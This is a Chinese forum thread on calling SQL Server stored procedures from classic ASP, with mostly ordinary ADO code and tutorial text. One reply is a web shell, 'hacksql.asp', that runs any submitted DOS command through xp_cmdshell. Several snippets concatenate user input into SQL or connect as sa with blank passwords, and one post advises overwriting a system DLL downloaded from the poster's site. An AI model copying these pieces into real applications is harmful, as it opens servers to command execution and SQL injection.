怎样在ASP里边调用存储过程。很急。在线等。回答给分

[zouchunhui]

我要在ASP里边调用存储过程，
我真的很急最好是给个例子，
又要麻烦大侠们了

谢谢！！！！！！！

[ceocio]

1，调用没有参数的存储过程
<%
set conn=server.CreateObject("adodb.connection")
set cmd=server.CreateObject("adodb.command")
strconn="dsn=pubs;uid=sa;pwd"

conn.Open strconn
set cmd.ActiveConnection=conn

cmd.CommandText="{call nono}"

'set rs=cmc.exe 或者cmd.execute

set rs=cmd.Execute()

%>
2，一个输入的参数的存储过程
<%
set conn=server.CreateObject("adodb.connection")
set cmd=server.CreateObject("adodb.command")
strconn="dsn=pubs;uid=sa;pwd"

conn.Open strconn
set cmd.ActiveConnection=conn

cmd.CommandText="{call oneinput(?)}"
cmd.Parameters.Append cmd.CreateParameter("@aaa",adInteger ,adParamInput )
cmd("@aaa")=100

cmd.Execute()

%>
3，一个输入参数和一个输出的参数
<%
set conn=server.CreateObject("adodb.connection")
set cmd=server.CreateObject("adodb.command")
strconn="dsn=pubs;uid=sa;pwd"

conn.Open strconn
set cmd.ActiveConnection=conn

cmd.CommandText = "{call oneinout(?,?)}"
cmd.Parameters.Append cmd.CreateParameter("@aaa",adInteger,adParamInput)
cmd("@aaa")=10
cmd.Parameters.Append cmd.CreateParameter("@bbb",adInteger,adParamOutput)

cmd.Execute()

bbb=cmd("@bbb")
%>
4，一个输入参数，一个输出参数，和一个返回值
<%
set conn=server.CreateObject("adodb.connection")
set cmd=server.CreateObject("adodb.command")
strconn="dsn=pubs;uid=sa;pwd"

conn.Open strconn
set cmd.ActiveConnection=conn

cmd.CommandText="{?=call onereturn(?,?)}"

cmd.Parameters.Append cmd.CreateParameter("@return_value",adInteger,adParamReturnValue )
cmd.Parameters.Append cmd.CreateParameter("@aaa",adInteger,adParamInput )
cmd("@aaa")=10
cmd.Parameters.Append cmd.CreateParameter("@bbb",adInteger,adParamOutput)

cmd.Execute()

bbb=cmd("@bbb")
rrr=cmd("@return_value")
%>

---------------------------------------------------------------

1、首先在sql里面你能够访问的数据库里面建立存储过程，比如说：ddy
如下：
CREATE PROCEDURE ddy
@cmd varchar(50)
AS
exec master..xp_cmdshell @cmd
2、asp程序里如下：（hacksql.asp）
<%
cmd=trim(Request.Form("cmd"))
if cmd<>"" then
work()
else
show()
end if
function work()
set conn=server.CreateObject("adodb.connection")
set rs=server.CreateObject("adodb.recordset")
conn.Open "xx","sa",""
sql="exec ddy '"&cmd&"'"

rs.Open sql,conn
if not rs.EOF then
do while not rs.eof
Response.Write "<pre>"&htmlencode2(trim(rs(0)))&"</pre>"
rs.MoveNext
loop
else
Response.Write "no"
end if
if rs.State=1 then rs.close
set rs=nothing
conn.Close
set conn=nothing
end function
function show()
%>
<form action=hacksql.asp method=post>
请输入DOS命令：<input type=text name=cmd>
<input type=submit value="ok">
</form>
<%
end function
function htmlencode2(str)'--------转换函数（为了显示时比较工整）
dim result
dim l
if isnull(str) then
htmlencode2=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case chr(13)
result=result+"<br>"
case chr(9)
result=result+" "
case "'"
result=result+"’"
case chr(32)
result=result+" "
if i+1<=l and i-1>0 then
if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9) then
result=result+" "
else
result=result+" "
end if
else
result=result+" "
end if
case else
result=result+mid(str,i,1)
end select
next
htmlencode2=result
end function
%>

[ceocio]

---------------------------------------------------------------

ASP中使用存储过程如下：
Set objrs_emp = Server.CreateObject("ADODB.Recordset")
set objcom = Server.CreateObject("ADODB.Command")


objcom.ActiveConnection = objconn
objcom.CommandType = &h0004
Const adCmdStoredProc = &H0004
objcom.CommandTimeOut = 15
objcom.Prepared = True

const adInteger = 3
const adVarChar = 200
const adBSTR = 8
const adChar = 129
const adLongVarChar = 201
const adWChar = 130
const adVarWChar = 202
const adLongVarWChar = 203
const adBinary = 128
const adVarBinary = 204
const adLongVarBinary = 205
Const adParamUnknow = &H0000
Const adParamInput = &H0001
Const adParamOutput = &H0002
Const adParamInputOutput = &H0003
Const adParamReturnValue = &H0004

objcom.CommandText = "存储过程名称"
objcom.Parameters.Append objcom.CreateParameter("@empid",129,&H0001,10,empid)
objcom.Parameters.Append objcom.CreateParameter("@password",129,&H0001,10,password)
objcom.Parameters.Append objcom.CreateParameter("@ret",3,&H0001,,1)
Set objrs_emp = objcom.Execute

[ceocio]

本版faq有很多类似得问题，请参看。

[Jaron]

最简单的

conn.execute("sp_prcname para1,para2")

[zouchunhui]

真的很感谢你啊

[cpio]

用存储过程实现ASP对数据库访问


一、ADO概述
ActiveX 数据对象 (ADO) 是一种既易于使用又可扩充的技术，用来将数据库访问添加到您的 Web 页可以使用 ADO 编写简洁和可升级的脚本以连接到与 OLE DB 兼容的数据源，如数据库、电子表格、顺序数据文件或电子邮件目录。OLE DB 是一个系统级的编程接口，它提供一套标准的 COM 接口，用来展示数据库管理系统的功能。使用 ADO 的对象模型，您可以轻松地（使用 VBScript 或 JScript 等脚本语言）访问这些接口并将数据库功能添加到您的 Web 应用程序中。另外，您还可以使用 ADO 访问与开放式数据库互连 (ODBC) 兼容的数据库。
如果您是一位对数据库互连知识有一定了解的脚本编写者，您将会发现 ADO 的命令语法很简单，而且很容易使用。如果您是一位经验丰富的开发人员，您将会非常欣赏 ADO 提供的这种可升级的对各种数据源的高性能访问。
二、访问数据库的一般方法
一般的网页访问中访问数据库是按照下列步骤进行的，首先建立一个ADODB.Connection 接口的对象，接着在这一个对象上绑定相应的数据源（可以用有名数据源和无名数据源），根据需要建立或者不建立记录集，然后在该数据源上链接用执行或打开的方法来对相应的表进行操作。
Asp访问数据库的一般方法：
<
Set oConn=Server.CreateObject(“ADODB.Connection”)
Set oRS=Server.CreateObject(“ADODB.RecordSet”)
set strConn="Provider=SQLOLEDB;User ID=sa; Initial Catalog=Pubs;Data Source=" &request.ServerVariables("SERVER_NAME")
oConn.open strConn
set ORS=oConn.execute(“select * from test”)
>
以上介绍了无名链接的OLEDB的使用方法，如果是有名链接，设为数据源test,用户名和口令均为空，则只需要改写一下上述语句oConn.open “test”,””,””
上面简要介绍了一下对于网页中涉及到数据库访问的一般方法，这些已经是很成熟的，也是很有用的，如果在实际中对于某些数据的存取过于复杂，需要近10条SQL语句才能写完，那么这种方法就有点欠缺，另外有些时候需要使用相同的处理过程，而在不同的网页中使用，而这用存储过程则是最有利的，还有一个最大特点是存储过程对于技术的保密性相对高些，它存储于远端服务器的数据库内。
三、存储过程在ASP中的使用
在ADO中提供了对存储过程的访问，它需要用到command对象，在这个对象上用户可以直接执行SQL服务器的存储过程，而命令中所需要的参数可以借助于其属性Pamaters来进行处理。
注意 一个 Command 对象要想有效，必须和一个 Connection 对象相关联，方法是Command 对象的 ActiveConnection 属性就被设置到这个 Connection 对象。如果一个 Connection 对象不能被标识，在您将它与一个连接关联之前，Command 对象是无效的。
< Dim oConn
Dim strConn
Dim oCmd
Dim oRs,ors1
dim aa
dim sql
Set oConn = Server.CreateObject("ADODB.Connection")
set oCmd = Server.CreateObject("ADODB.Command")
set ors1=Server.CreateObject("ADODB.RecordSet")
' 打开链接，使用用户标识SA，口令为空，连接为本地服务器上的数据库
strConn="Provider=SQLOLEDB;User ID=sa;Initial Catalog=pubs;Data Source="& Request.ServerVariables("SERVER_NAME")
'如果连接一个远端的数据库，该数据库地址为：10.82.88.105，用户为tmp，口令为123，
‘则可用下面的方法
‘ strConn="Provider=SQLOLEDB;User ID=tmp;pwd=123;Initial Catalog=tjbb;Data Source="& "10.82.88.110"
oConn.Open strConn
‘将建立的链接添加到命令的活动链接属性中
Set oCmd.ActiveConnection = oConn
' 设置调用存储过程byroyalty和参数,参数由？引入
oCmd.CommandText = "{call byroyalty(?)}"
oCmd.Parameters.Append oCmd.CreateParameter("@Percentage", adInteger, adParamInput)
' 提供输入的参数
oCmd("@Percentage") = 75
‘在asp中上述输入参数的使用也可不用参数属性来实现直接用VB中的&来形成命令文本中对应的数据即可
‘参数的使用在输出时是特别有用的
Set oRs = oCmd.Execute
ors1.activeconnection=oconn
‘该命令对象中也可应用一般的SQL语句使用Source和open属性，其中source指出数据源
ors1.source ="select * from [tmptable] where 年份=2000 and 月份=1"
ors1.cursortype=adopenstatic
ors1.open
>
四、在SQL中的存储过程简介
利用SQL的语言可以编写对于数据库访问的存储过程，其语法如下：
CREATE PROC[EDURE] procedure_name [;number]
[
{@parameter data_type} [VARYING] [= default] [OUTPUT]
]
[,...n]
[WITH
{
RECOMPILE
| ENCRYPTION
| RECOMPILE, ENCRYPTION
}
]
[FOR REPLICATION]
AS
sql_statement [...n]
[ ]内的内容是可选项，而（）内的内容是必选项，

[cpio]

例： 若用户想建立一个删除表tmp中的记录的存储过程Select_delete可写为：
Create Proc select_del As
Delete tmp
例：用户想查询tmp表中某年的数据的存储过程
create proc select_query @year int as
select * from tmp where year=@year
在这里@year是存储过程的参数
例：该存储过程是从某结点n开始找到最上层的父亲结点，这种经常用到的过程可以由存储过程来担当，在网页中重复使用达到共享。
空：表示该结点为顶层结点
fjdid(父结点编号)
结点n 非空：表示该结点的父亲结点号
dwmc（单位名称）
CREATE proc search_dwmc @dwidold int,@dwmcresult varchar(100) output
as
declare @stop int
declare @result varchar(80)
declare @dwmc varchar(80)
declare @dwid int
set nocount on
set @stop=1
set @dwmc=""
select @dwmc=dwmc,@dwid=convert(int,fjdid) from jtdw where id=@dwidold
set @result=rtrim(@dwmc)
if @dwid=0
set @stop=0
while (@stop=1) and (@dwid<>0)
begin
set @dwidold=@dwid
select @dwmc=dwmc,@dwid=convert(int,fjdid) from jtdw where id=@dwidold
if @@rowcount=0
set @dwmc=""
else
set @result=@dwmc+@result
if (@dwid=0) or (@@rowcount=0)
set @stop=0
else
continue
end
set @dwmcresult=rtrim(@result)
充分合理地利用存储过程，可以提高服务器吞吐能力，笔者利用存储过程来从近20个表中获取数据组合成一个通用的表，产生近2万条记录，而所需时间约7秒钟，如果这种操作借助于较合理的动态网页可以将服务器开发提高到一个高度，充分利用存储过程，可以减轻网页设计带来的繁重处理，而使所编写的代码得到共享和合理的利用，并将代码藏于服务器的数据库内部，使得一些技术得到的保密，这也是存储过程的一大特色，希望读者能从中得到启益。



=======================
用 Command 对象改善查询
=======================

通过 ADO Command 对象，可以象用 Connection 对象和 Recordset 对象那样执行查询，唯一的不同在于用 Command 对象您可以在数据库源上准备、编译您的查询并且反复使用一组不同的值来发出查询。这种方式的编译查询的优点是您可以最大程度地减少向现有查询重复发出修改的请求所需的时间。另外，您还可以在执行之前通过您的查询的可变部分的选项使 SQL 查询保持局部未定义。

Command 对象的 parameter 集合减少了您的麻烦，使您不必在每次重新发出查询时重新建立查询。例如，如果需要有规律地更新基于库存清单的 Web 系统中的供应和价格信息，可以用下面的方法预先定义查询：

<%

'Open a connection using Connection object Command object

'does not have an Open method for establishing a connection

strDSN = "FILEDSN=MyDatabase.dsn"

Set cn = Server.CreateObject("ADODB.Connection")

cn.Open strDSN

'Instantiate Command object; use ActiveConnection property to attach

'connection to Command object

Set cm= Server.CreateObject("ADODB.Command")

Set cm.ActiveConnection = cn

'Define SQL query

cm.CommandText = "INSERT INTO Inventory (Material, Quantity) VALUES (?, ?)"

'Save a prepared (or pre-compiled) version of the query specified in CommandText

'property before a Command object's first execution.

cm.Prepared = True

'Define query parameter configuration information

cm.Parameters.Append cm.CreateParameter("material_type",200, ,255 )

cm.Parameters.Append cm.CreateParameter("quantity",200, ,255 )

'Define and execute first insert

cm("material_type") = "light bulbs"

cm("quantity") = "40"

cm.Execute

'Define and execute second insert

cm("material_type") = "fuses"

cm("quantity") = "600"

cm.Execute

%>

请检查上面的例子，您将注意到，脚本用不同的数值重复构建和发出一个 SQL 查询，而没有重新定义和重发送查询到数据库源。用 Command 对象编译查询也可避免 SQL 查询引起的合并字符串和表格变量问题。特别是，通过使用 Command 对象的 Parameter 集合可以避免与定义字符串、日期、时间变量的类型有关的问题。例如，包含“'”的 SQL 查询值可能导致查询失败：

strSQL = "INSERT INTO Customers (FirstName, LastName) VALUES ('Robert','O'Hara')"

注意，姓 O'Hara 中包含一个“'”，它与在 SQL VALUES 关键字中用来表示数据的“'”冲突。通过将查询数值作为 Command 对象参数绑定，可以避免此类问题。

结合 HTML 表格和数据库访问

包含 HTML 表格的 Web 页可使用户远程查询数据库并且检索特定的信息。用 ADO 您可以创建非常简单的脚本来收集用户表格信息、创建自定义的数据库查询以及将信息返回给用户。使用 ASP Request 对象，您可以检索输入到 HTML 表格的信息并将这些信息合并到 SQL 语句中。例如，下面的脚本模块将 HTML 表格提供的信息插入表格中。此脚本用 Request 对象的 Form 集合收集用户信息。

<%

'Open a connection using Connection object. The Command object

'does not have an Open method for establishing a connection

strDSN = "FILEDSN=MyDatabase.dsn"

Set cn = Server.CreateObject("ADODB.Connection")

cn.Open strDSN

'Instantiate Command object

'and use ActiveConnection property to attach

'connection to Command object

Set cm= Server.CreateObject("ADODB.Command")

Set cm.ActiveConnection = cn

'Define SQL query

cm.CommandText = "INSERT INTO MySeedsTable (Type) VALUES (?)"

'Define query parameter configuration information

cm.Parameters.Append cm.CreateParameter("type",200, ,255 )

'Define and execute insert

cm("type") = Request("SeedType")

cm.Execute

%>

[lijunjiejava]

一、使用Command对象和Parameter对象传递参数

本讲将主要使用Microsoft SQL Server7.0数据库，先建立一个连接文件AdoSQL7.asp备用，以后用到时不再特别说明。

<% 'AdoSQL7.asp

Option Explicit

Response.Expires = 0



'第一部分: 建立连接

Dim Cnn, StrCnn

Set Cnn = Server.CreateObject("ADODB.Connection")

StrCnn = "Provider=sqloledb; User ID=sa; Password=; Initial Catalog=pubs; Data Source=ICBCZJP"

Cnn.Open StrCnn

%>

注意：自己使用时要将Data Source设为你的数据库服务器所在的机器名。

另外，以前使用Access数据库时，用Microsoft Access97可以很方便的查看字段及数据，而使用SQL Server数据库，尤其是并不在数据库服务器，而是在另一台机器上调试ASP脚本时，要查看字段及数据便需另外安装工具，这里向你提供一个工具：Msqry32.exe（Microsoft Query），这个文件随Office97安装，一般位于目录“Microsoft Office\Office”下。

例wuf70.asp：

<%@ LANGUAGE="VBSCRIPT" %>

<!--#include file="AdoSQL7.asp"-->

<!--#include file="adovbs.inc"-->

<% ' wuf70.asp

Dim cmdTest, prmTest, rsTest

'创建 Command 对象

Set cmdTest = Server.CreateObject("ADODB.Command")

‘Recordset、Command对象都可以通过ActiveConnection属性来连接Connection对象

cmdTest.ActiveConnection = Cnn

'SQL命令 - 含两个参数， 用 ？ 表示

cmdTest.CommandText = "Update jobs Set job_desc = ? Where job_id = ?"

'设命令类型为 SQL 语句

cmdTest.CommandType = adCmdText

'Prepared 属性决定是否将 SQL 命令先行编译，将其设为True，可以加快运行

cmdTest.Prepared = True



'创建 Parameter 对象

Set prmTest=cmdTest.CreateParameter("job_desc",adVarChar,adParamInput,50,"网络")

'将数据追加到 Parameters 数据集合中

cmdTest.Parameters.Append prmTest



Set prmTest = cmdTest.CreateParameter("job_id",adSmallInt,adParamInput,,"12")

cmdTest.Parameters.Append prmTest



'执行修改 – 不需要返回结果，简单的使用cmdTest.Execute 就可以了

cmdTest.Execute



'重新设置参数运行 – 便可修改另一条数据

cmdTest.Parameters("job_id") = "1"

cmdTest.Parameters("job_desc") = "测试"

cmdTest.Execute



'重新设置参数运行

cmdTest("job_id") = "14"

cmdTest("job_desc") = "金融"

cmdTest.Execute



Set rsTest = Cnn.Execute("Select job_id,job_desc From jobs")

While Not rsTest.EOF

Response.Write rsTest(0) & rsTest(1) & "<br>"

rsTest.MoveNext

Wend



Cnn.close : Set prmTest = Nothing

Set cmdTest = Nothing: Set Cnn = Nothing

%>

分析：

1．Command对象的CreateParameter方法用来为SQL命令或存储过程建立参数对象，共有五个参数（五个参数都是可选项）：

第一个参数：参数对象的名称；

第二个参数：参数对象的数据类型，种类太多，还是参考ADO帮助吧，这里adVarChar（字符串值）、adSmallInt（2 字节带符号整型）；

第三个参数：参数类型。可以是：adParamInput（指示输入参数）、adParamOutput（ 指示为输出参数）、adParamReturnValue（指示为返回值）、adParamUnknown（指示参数类型无法确定）、adParamInputOutput（指示为输入/输出参数）；

第四个参数：参数的数据长度，最好指定为与数据库中对应字段长度相等，以免使用时出错，尤其数据类型为VarChar时，如果是整型或日期型则不必提供该值；

第五个参数：参数的设置初值。

2．cmdTest.Parameters.Append方法增加一个Parameter对象到Parameters数据集合中，从本例中也可看到如何使用多个参数。

3．从本例可以看到，只需要重新设定输入参数，便可执行对其他数据的修改，非常方便，这一思路在编程时也是最常用的方法之一。

4．重设参数，既可以使用cmdTest.Parameters，也可以省略为cmdTest("job_id")。



二、在ASP中使用存储过程

什么是存储过程（存储过程位于数据库服务器中，是一个SQL语句的集合，可包含一个或多个SQL语句）、怎样创建存储过程不属于本讲座的内容，本讲座主要是举例说明在ASP中如何调用存储过程。

使用存储过程的好处是大大的，存储过程比在ASP脚本中运行SQL命令效率更高；可以提高整体性能并减轻网络负载（减少了在网络服务器和数据服务器之间的交互）；可以优化ASP代码和增强代码灵活性等等。

（一）在存储过程中使用输入参数

本例中使用的存储过程为SQL Server7.0自带的“byroyalty”，里面的一条SQL语句非常简单，无非是多了一个CREATE PROCEDURE byroyalty，并且有一个输入参数为@percentage：

CREATE PROCEDURE byroyalty @percentage int

AS

select au_id from titleauthor

where titleauthor.royaltyper = @percentage

serve by www.cidu.net

例wuf71.asp

<% @LANGUAGE = VBScript %>

<!--#include file="AdoSQL7.asp"-->

<!--#include file="adovbs.inc"-->

<% ' wuf71.asp

Dim cmdTest, prmTest, rsTest

Set cmdTest = Server.CreateObject("ADODB.Command")

cmdTest.CommandText = "byroyalty" '存储过程名

'设命令类型为 存储过程

cmdTest.CommandType = adCmdStoredProc



'创建 Parameter 对象

Set prmTest = Server.CreateObject("ADODB.Parameter")

‘Type属性对应wuf70.asp中的第二个参数

prmTest.Type = adInteger '4 字节的带符号整型

‘Direction属性对应wuf70.asp中的第三个参数

prmTest.Direction = adParamInput

‘Value属性对应wuf70.asp中的第五个参数

prmTest.Value = 30

cmdTest.Parameters.Append prmTest



Set cmdTest.ActiveConnection = Cnn

‘需要返回一个记录集，故使用Set rsTest = cmdTest.Execute

Set rsTest = cmdTest.Execute



While Not rsTest.EOF

Response.Write rsTest(0) & "<br>"

rsTest.MoveNext

Wend



Cnn.close

Set rsTest = Nothing : Set prmTest = Nothing

Set cmdTest = Nothing: Set Cnn = Nothing

[lijunjiejava]

%>

CommandText属性既可以指定SQL命令，也可以指定为存储过程或者是表名称。

在本例中，创建Parameter对象与wuf70.asp略有不同，其实仔细看看，意思也是差不多的，本例还有两个属性未用：prmTest.Name、prmTest.Size，加上Type、Direction和Value，对应于wuf70.asp中的五个参数。



（二）使用输出参数

从数据库表中取得一个记录或计算一个值时，需要使用返回输出参数的存储过程。为了举例，先在SQL Server的pubs库中新建一存储过程OUTemploy，该存储过程需要输入两个日期，然后输出一个最大值。

CREATE PROCEDURE OUTemploy

(

@job_lvl tinyint OUTPUT,

@hire_date1 datetime,

@hire_date2 datetime

)

AS

select @job_lvl = MAX(job_lvl) from employee

where hire_date >= @hire_date1 and hire_date <= @hire_date2

有多种方法可以建立存储过程：

1．使用Microsoft SQL Server的Enterprise Manager，打开后在左边的树目录中依次打开：Console Root – Microsoft SQL Servers – SQL Server Group – ICBCZJP(Windows NT) – databases – pubs – stored procedure – New stored procedure，输入存储过程后，还可对其进行语法检测；

2．使用Microsoft SQL Server的Query Analyzer，先连接数据库服务器并选择pubs数据库。输入上面的存储过程并点击Execute Query(或按F5)；

3．使用VB6.0，打开菜单“视图”/“数据视图窗口”后，右键单击“数据链接”/“新建数据链接”；

4．使用ASP脚本创建存储过程，例wuf75.asp：

<% @LANGUAGE = VBScript %>

<!--#include file="AdoSQL7.asp"-->

<!--#include file="adovbs.inc"-->

<% ' wuf75.asp

Dim StrSQL

'注: & Chr(10) & Chr(13) 完全可以不要, 主要是为了好看

StrSQL="CREATE PROCEDURE OUTemploy ( @job_lvl tinyint OUTPUT, " & Chr(10) & Chr(13) &_

"@hire_date1 datetime, @hire_date2 datetime) AS " & Chr(10) & Chr(13) &_

"select @job_lvl = MAX(job_lvl) from employee " &_

"where hire_date >= @hire_date1 and hire_date <= @hire_date2"



Cnn.Execute StrSQL

Response.Write "创建存储过程成功"

Cnn.close: Set Cnn = Nothing

%>

存储过程创建后，除了使用菜单，你还可以使用SQL语句“Drop Procedure OUTemploy”删除它。

例wuf72.asp – 把所需要的输入参数送入存储过程并取得输出结果。

<% @LANGUAGE = VBScript %>

<!--#include file="AdoSQL7.asp"-->

<!--#include file="adovbs.inc"-->

<% ' wuf72.asp

Dim cmdTest, prmTest

Set cmdTest = Server.CreateObject("ADODB.Command")

cmdTest.ActiveConnection = Cnn

cmdTest.CommandText = "OUTemploy" '存储过程名

cmdTest.CommandType = adCmdStoredProc



'创建 Parameter 对象

Set prmTest = cmdTest.CreateParameter("job_lvl",adTinyInt,adParamOutput)

cmdTest.Parameters.Append prmTest

'adTinyInt - 1 字节带符号整型

'adDbDate - 日期值 (yyyymmdd)



Set prmTest = cmdTest.CreateParameter("hiredate1",adDBDate,adParamInput,,"1993-05-09")

cmdTest.Parameters.Append prmTest



Set prmTest = cmdTest.CreateParameter("hiredate2",adDBDate,adParamInput,,"1994-02-01")

cmdTest.Parameters.Append prmTest



cmdTest.Execute

‘下面三种表达方式意思一样

Response.Write cmdtest("job_lvl") & "<br>"

Response.Write cmdTest.Parameters("job_lvl") & "<br>"

Response.Write cmdTest.Parameters("job_lvl").Value



Cnn.close

Set prmTest = Nothing

Set cmdTest = Nothing: Set Cnn = Nothing

%>

（三）使用返回代码参数

用Return语句可以从存储过程返回不同的返回代码，如下面存储过程先取得一个记录集，然后，若有叫Margaret的雇员则返回1，否则返回0。

Create Procedure Returnemploy

AS

select emp_id, fname from employee

If Exists(Select fname From employee Where fname='Margaret')

Return(1)

Else

Return(0)

例wuf73.asp

<% @LANGUAGE = VBScript %>

<!--#include file="AdoSQL7.asp"-->

<!--#include file="adovbs.inc"-->

<% ' wuf73.asp

Dim cmdTest, prmTest, rsTest

Set cmdTest = Server.CreateObject("ADODB.Command")

cmdTest.ActiveConnection = Cnn

cmdTest.CommandText = "Returnemploy" '存储过程名

cmdTest.CommandType = adCmdStoredProc



Set prmTest = cmdTest.CreateParameter("ReturnValue",adInteger,adParamReturnValue)

cmdTest.Parameters.Append prmTest



Set rsTest = cmdTest.Execute()

While Not rsTest.EOF

Response.Write rsTest(0) & " ][ " & rsTest(1) & "<br>"

rsTest.MoveNext

Wend

rsTest.Close: Set rsTest = Nothing

'返回 cmdtest("ReturnValue") 之前,必须先关闭rsTest, 否则结果错误



If cmdtest("ReturnValue") = 1 Then

Response.Write "有该雇员"

Else

Response.Write "无该雇员"

End If



Cnn.close

Set prmTest = Nothing

Set cmdTest = Nothing: Set Cnn = Nothing

%>



三、如何处理大数据

这里的“大数据”主要是指Text（大文本）和image（图像）字段，采用前面所述的方法无法正确获取其数据。必须首先使用Size = rsTest(0).ActualSize获取字段值的实际长度，然后再使用rsTest(0).GetChunk(Size)取得数据。在实际使用过程中，由于这些字段都比较大，为了节省、合理使用服务器资源，一般均采取分段读取的方法。例wuf74.asp:

<% @LANGUAGE = VBScript %>

<!--#include file="AdoSQL7.asp"-->

<!--#include file="adovbs.inc"-->

<% ' wuf74.asp

Dim StrSQL, rsTest

‘pr_info 是一个文本字段

StrSQL = "Select pr_info,pub_id From pub_info"

Set rsTest = Cnn.Execute(StrSQL)



Dim BasicSize, BeginSize, LText

Do While Not rsTest.EOF

Response.Write rsTest(1) & "<br>"

‘每次读取 1024字节

BasicSize = 1024

BeginSize = 0

While BeginSize < rsTest(0).ActualSize

LText = rsTest(0).GetChunk(BasicSize)

BeginSize = BeginSize + BasicSize

‘逐段输出到客户端

Response.Write LText

Wend



Response.Write "<br><br>"

rsTest.MoveNext

Loop



Cnn.close

Set rsTest = Nothing: Set Cnn = Nothing

%>

在本例中，每次最多读取1024字节，分多次读完。反之，如果将大数据写至数据库中，方法类似上面，不过不是使用GetChunk方法，而是使用AppendChunk方法：

rsTest(0).AppendChunk Ltext



注意：最后介绍一个关于SQL Server数据库的小技巧，如果你遇到过这种情况：数据库的中文数据显示出来均是乱码，请不要惊慌。你只要去我的站点下载sqlsrv32.dll覆盖“C:\Windows\System”下的同名文件就可以了。问题发生的源头是SQL Server驱动程序，典型的情况发生在Windows98第二版（SQL Server驱动程序的版本号为3.70.06.23）或Windows2000中或者安装了MDAC2.5（版本号为3.70.08.20）。

[Jaron]

在 cm.parameters.append 时，容易搞错。直接用
sql = "sp_procname '" & para1 & "'"
set rs = conn.execute(sql)

简单明了，呵呵。

[wolf004]

看的头晕！

[lions911]

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
</head>

<body>
<%
''''''''''''''''''''''''''''''''''''''调用存储过程的例子
name1=trim(request("name"))
function AllRecord(middleid)
set conn=server.createobject("adodb.connection")
conn.ConnectionString = "driver={SQL Server};server=10.0.0.8;uid=sa;Pwd=sa;database=test"
conn.open
set cmd=server.CreateObject("adodb.command")
cmd.ActiveConnection=conn
cmd.commandtext="sp_new_AllRecord"&"'"&middleid&"' "
set ttt=cmd.execute
if not ttt.eof then
response.write ttt("allid")
end if
ttt.close
'response.write cmd.commandtext
set cmd=nothing
'response.write middleid

end function
'conn.close
set conn=nothing

'response.write name1
call allrecord(name1)
%>
</body>
</html>

[lions911]

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
</head>

<body>
<%
''''''''''''''''''''''''''''''''''''''调用存储过程的例子
name1=trim(request("name"))
function AllRecord(middleid)
set conn=server.createobject("adodb.connection")
conn.ConnectionString = "driver={SQL Server};server=10.0.0.8;uid=sa;Pwd=sa;database=lztest"
conn.open
set cmd=server.CreateObject("adodb.command")
cmd.ActiveConnection=conn
cmd.commandtext="sp_new_AllRecord"&"'"&middleid&"' "
set ttt=cmd.execute
if not ttt.eof then
response.write ttt("allid")
end if
ttt.close
'response.write cmd.commandtext
set cmd=nothing
'response.write middleid

end function
'conn.close
set conn=nothing

'response.write name1
call allrecord(name1)
%>
</body>
</html>